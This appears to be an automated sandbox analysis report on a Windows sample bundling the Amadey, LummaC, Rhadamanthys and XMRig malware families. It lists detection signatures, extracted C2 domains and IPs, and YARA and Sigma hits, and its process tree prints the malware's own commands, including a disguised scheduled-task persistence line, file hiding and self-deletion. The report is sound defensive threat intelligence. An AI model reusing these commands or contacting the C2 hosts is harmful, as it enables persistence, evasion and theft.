Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1577291
MD5:	65f41a5703887beeba49a84ca30bae19
SHA1:	1ae160165e2ba85f3b90d34b451fe965ce51701e
SHA256:	e99443934269e932c08bf7928da5ff5c5fae2cc72794380d5f7f7a2d0f7bc46e
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected RHADAMANTHYS Stealer

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks if the current machine is a virtual machine (disk enumeration)

Contains functionality to inject code into remote processes

Drops password protected ZIP file

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Found strings related to Crypto-Mining

Hides threads from debuggers

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses cmd line tools excessively to alter registry or file data

Uses ping.exe to check the status of other devices and networks

Uses schtasks.exe or at.exe to add and modify task schedules

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 6748 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 65F41A5703887BEEBA49A84CA30BAE19)

skotes.exe (PID: 6012 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 65F41A5703887BEEBA49A84CA30BAE19)

skotes.exe (PID: 6628 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 65F41A5703887BEEBA49A84CA30BAE19)

skotes.exe (PID: 1088 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 65F41A5703887BEEBA49A84CA30BAE19)

5639a58f3b.exe (PID: 6596 cmdline: "C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe" MD5: 8A9CB17C0224A01BD34B46495983C50A)

conhost.exe (PID: 1208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

5639a58f3b.exe (PID: 340 cmdline: "C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe" MD5: 8A9CB17C0224A01BD34B46495983C50A)

850609077b.exe (PID: 2988 cmdline: "C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

conhost.exe (PID: 6404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

850609077b.exe (PID: 4196 cmdline: "C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

7c1324dac5.exe (PID: 2328 cmdline: "C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 5776 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 6936 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 3476 cmdline: 7z.exe e file.zip -p24291711423417250691697322505 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 1812 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6836 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 3384 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 5900 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 368 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 4144 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 3960 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

attrib.exe (PID: 2736 cmdline: attrib +H "in.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

in.exe (PID: 6964 cmdline: "in.exe" MD5: 83D75087C9BF6E4F07C36E550731CCDE)

attrib.exe (PID: 6324 cmdline: attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 7128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 5052 cmdline: attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 7152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7108 cmdline: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 6076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6360 cmdline: powershell ping 127.0.0.1; del in.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 6224 cmdline: "C:\Windows\system32\PING.EXE" 127.0.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

1459165c97.exe (PID: 948 cmdline: "C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe" MD5: 74C0FEC1D8D8E4C943BAED136DCF9E56)

svchost.exe (PID: 6472 cmdline: "C:\Windows\System32\svchost.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

WerFault.exe (PID: 1108 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 948 -s 648 MD5: C31336C1EFC2CCB44B4326EA793040F2)

Intel_PTT_EK_Recertification.exe (PID: 5740 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

explorer.exe (PID: 1048 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

powershell.exe (PID: 3548 cmdline: powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 6544 cmdline: "C:\Windows\system32\PING.EXE" 127.1.10.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search user.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: LummaC

{"C2 url": ["necklacebudi.lat", "rapeflowwj.lat", "sustainskelet.lat", "energyaffai.lat", "crosshuaht.lat", "discokeyus.lat", "aspecteirs.lat", "grannyejh.lat", "pancakedipyps.click"], "Build id": "FATE99--test"}

Threatname: Rhadamanthys

{"C2 url": "https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000003.2820833506.0000000004C60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2131654122.0000000004E80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000002.3209344034.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002B.00000003.3326988369.00000000055F0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000025.00000002.3209344034.000000000120C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000003.00000002.2217401983.0000000000611000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.2160965888.0000000004710000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000002.3210399876.000000014040B000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000002B.00000003.3324377603.00000000053D0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000003.00000003.2177174832.0000000005290000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000002.3381728843.00000000012A7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002A.00000003.3316994086.0000000005E30000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
0000002A.00000003.3314605880.0000000005700000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000A.00000002.3380643533.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000002.3209344034.00000000011D3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000002B.00000002.3336661213.00000000034C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000002B.00000003.3318038166.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000025.00000002.3210301237.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000002.00000002.2201284335.0000000000611000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002A.00000003.3318224508.0000000005930000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000002A.00000003.3317173955.0000000006050000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: 5639a58f3b.exe PID: 340	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 5639a58f3b.exe PID: 340	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 5639a58f3b.exe PID: 340	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 850609077b.exe PID: 4196	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 850609077b.exe PID: 4196	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 850609077b.exe PID: 4196	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 5740	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: explorer.exe PID: 1048	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: 1459165c97.exe PID: 948	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: svchost.exe PID: 6472	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 32 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
43.3.svchost.exe.53d0000.6.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
42.3.1459165c97.exe.6050000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
43.3.svchost.exe.53d0000.0.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
43.3.svchost.exe.55f0000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
42.3.1459165c97.exe.5e30000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
43.3.svchost.exe.53d0000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
6.2.skotes.exe.610000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.fb0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
37.2.explorer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
37.2.explorer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
37.2.explorer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
3.2.skotes.exe.610000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.610000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
36.3.Intel_PTT_EK_Recertification.exe.2266ccd0000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
36.3.Intel_PTT_EK_Recertification.exe.2266ccd0000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
36.3.Intel_PTT_EK_Recertification.exe.2266ccd0000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
43.3.svchost.exe.55f0000.7.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
36.3.Intel_PTT_EK_Recertification.exe.2266ccd0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
36.3.Intel_PTT_EK_Recertification.exe.2266ccd0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x324cc8:$x1: donate.ssl.xmrig.com
36.3.Intel_PTT_EK_Recertification.exe.2266ccd0000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x325978:$s1: %s/%s (Windows NT %lu.%lu 0x329580:$s3: \\.\WinRing0_ 0x2e3130:$s4: pool_wallet 0x2dd978:$s5: cryptonight 0x2dd988:$s5: cryptonight 0x2dd998:$s5: cryptonight 0x2dd9a8:$s5: cryptonight 0x2dd9c0:$s5: cryptonight 0x2dd9d0:$s5: cryptonight 0x2dd9e0:$s5: cryptonight 0x2dd9f8:$s5: cryptonight 0x2dda08:$s5: cryptonight 0x2dda20:$s5: cryptonight 0x2dda38:$s5: cryptonight 0x2dda48:$s5: cryptonight 0x2dda58:$s5: cryptonight 0x2dda68:$s5: cryptonight 0x2dda80:$s5: cryptonight 0x2dda98:$s5: cryptonight 0x2ddaa8:$s5: cryptonight 0x2ddab8:$s5: cryptonight
Click to see the 15 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 6964, ParentProcessName: in.exe, ProcessCommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, ProcessId: 7108, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe, ParentProcessId: 948, ParentProcessName: 1459165c97.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 6472, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell ping 127.0.0.1; del in.exe, CommandLine: powershell ping 127.0.0.1; del in.exe, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 6964, ParentProcessName: in.exe, ProcessCommandLine: powershell ping 127.0.0.1; del in.exe, ProcessId: 6360, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe, ParentProcessId: 948, ParentProcessName: 1459165c97.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 6472, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:09:18.796849+0100	2028371	3	Unknown Traffic	192.168.2.6	49895	172.67.179.109	443	TCP
2024-12-18T11:09:24.917554+0100	2028371	3	Unknown Traffic	192.168.2.6	49913	104.21.23.76	443	TCP
2024-12-18T11:09:27.591453+0100	2028371	3	Unknown Traffic	192.168.2.6	49919	172.67.179.109	443	TCP
